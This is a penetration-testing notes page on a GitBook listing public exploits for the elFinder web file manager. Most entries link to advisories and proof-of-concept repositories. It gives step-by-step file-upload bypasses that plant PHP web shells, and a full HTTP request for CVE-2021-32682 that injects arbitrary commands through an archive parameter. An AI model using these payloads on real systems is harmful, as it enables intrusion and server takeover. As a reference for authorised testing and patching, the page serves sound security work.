> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/public-exploit/elfinder.md).

# ElFinder

ElFinder Exploits

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

*elFinder* is an open-source file manager for web, written in JavaScript using jQuery UI - Ref: <https://github.com/Studio-42/elFinder>

## CVE-2023-52044 - ElFinder 2.1.62 - RCE

Studio-42 eLfinder 2.1.62 is vulnerable to Remote Code Execution (RCE) as there is no restriction for uploading files with the .php8 extension.

1. Select arbitrary png file to upload
2. Capture request with Burp and set content as `test<?php phpinfo();?>`
3. Set filename like `test.php8`
4. After forwarding the request, the file is successfully uploaded under the files directory

{% embed url="<https://github.com/advisories/GHSA-jh2f-6jmr-qxf8>" %}

{% embed url="<https://security.snyk.io/vuln/SNYK-PHP-STUDIO42ELFINDER-8320938>" %}

## CVE-2023-35840 - elFinder < 2.1.62 - Path Traversal

{% embed url="<https://github.com/afine-com/CVE-2023-35840>" %}

## elFinder < 2.6.61 - RCE

{% embed url="<https://security.snyk.io/vuln/SNYK-PHP-STUDIO42ELFINDER-2615248>" %}

1. Upload a PHP file the contains a payload with a preceding `a`, i.e: `a<?php <payload>?>`.
2. Add two dots after the file name: `shell.php...`
3. The shell file is successfully uploaded by bypassing detection and can be accessed via `files/shell.php`.

## CVE-2022-26960 - LFI

elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php.

{% embed url="<https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning>" %}

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FqFLdNXOfAjMhPPEVvBWG%2FRepwn.png?alt=media&amp;token=15e915ca-4f82-4c6a-81a5-86b23579d988" alt=""><figcaption></figcaption></figure>

## CVE-2021-32682 - RCE

{% embed url="<https://www.sonarsource.com/blog/elfinder-case-study-of-web-file-manager-vulnerabilities/>" %}

{% embed url="<https://github.com/vulhub/vulhub/tree/master/elfinder/CVE-2021-32682>" %}

Create a plain text file named `1.txt`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F323s2grWKJnLGoiLsQ74%2F1.png?alt=media&amp;token=c2a9b17c-eaa2-4191-baf5-0d9b11907b26" alt=""><figcaption></figcaption></figure>

Archive this file in the right-click menu to ZIP format, and modify this archived file name to `2.zip`:

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F4FW25NpnfeSNcoxvd4Nu%2F2.png?alt=media&amp;token=891038d2-b374-4a68-83dc-a72c94e16c53" alt=""><figcaption></figcaption></figure>

`1.txt` and `2.zip` are ready here

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FSea68zKweQMeuHeXp303%2F3.png?alt=media&amp;token=edd10479-a80c-4749-916a-30d5123dd541" alt=""><figcaption></figcaption></figure>

Then, send the following request to execute arbitrary commands:

```
GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://localhost.lan:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close


```

In this request, you can see 3 important parameters:

* `name`, its value is equal to `-TvTT=id>shell.php # a.zip`, you can modify the `id>shell.php` to arbitrary commands
* `targets[0]`, its value is equal to `l1_MS50eHQ`. `l1` means the first storage volume, `MS50eHQ` is the base64 encoded string of `1.txt`
* `targets[1]`, its value is equal to `l1_Mi56aXA`. `l1` means the first storage volume, `Mi56aXA` is the base64 encoded string of `2.zip`

Although this request responeds to an error message, our command has been executed and `shell.php` has been written to `http://your-ip:8080/files/shell.php`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FrdH98cZiduZHwYlwnzFL%2F4.png?alt=media&amp;token=c069c799-0573-42ff-bde6-d6bfe6e7c01e" alt=""><figcaption></figcaption></figure>

## CVE-2021-43421 RCE in elFinder <2.1.60

{% embed url="<https://github.com/projectdiscovery/nuclei-templates/issues/4090>" %}

{% embed url="<https://github.com/Studio-42/elFinder/issues/3429>" %}

## elFinder 2.1.57 RCE

{% embed url="<https://github.com/Studio-42/elFinder/issues/3295>" %}

## elFinder Web file manager Version: 2.1.53 Remote Command Execution

{% embed url="<https://www.exploit-db.com/exploits/51864>" %}

## CVE-2019-9194 - elFinder <= 2.1.47 - Command Injection&#x20;

Vulnerability in the PHP connector

{% embed url="<https://www.exploit-db.com/exploits/46481>" %}

{% embed url="<https://github.com/hadrian3689/elFinder_2.1.47_php_connector_rce>" %}

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

## Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)